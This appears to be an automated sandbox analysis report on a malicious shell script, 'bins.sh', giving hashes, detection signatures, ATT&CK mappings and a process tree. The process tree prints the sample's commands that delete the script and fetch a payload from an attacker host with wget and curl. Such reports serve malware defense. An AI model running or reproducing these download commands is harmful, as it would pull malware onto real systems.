63ca88b531be0ccb4c47711241f1b24e9cb926c08d7a14eae0776d35369a4a29

Analysis

max time kernel
149s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/11/2024, 01:03

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General

Target
bins.sh
Size 10KB
Sample241109-becrmstflk
SHA256 63ca88b531be0ccb4c47711241f1b24e9cb926c08d7a14eae0776d35369a4a29
MD5 759b335f7aea5addb104c4b4e4070385
SHA1 84750e4db20286da865c8079ce1b9a49d80720bd
SHA512 59cfcffc1c724045fce6173305d88acf84cddb91eb17871c0f4ce4d25cd3162d64844b7ecff937ae22a31924811cb888917459fcfc6fd810e91722f61b72a166
SSDEEP 192:IpspQpFpmpihpp2v7N4Dw8hF6zqpspQpFpmpihpAV:Gs76Dw8SR
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
645	wget
651	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:638
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:640
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vXxjG9dohfvczVo4ZROqdtcSuoJTCgvW9R
  2⤵
  - System Network Configuration Discovery
  PID:645
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vXxjG9dohfvczVo4ZROqdtcSuoJTCgvW9R
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:651

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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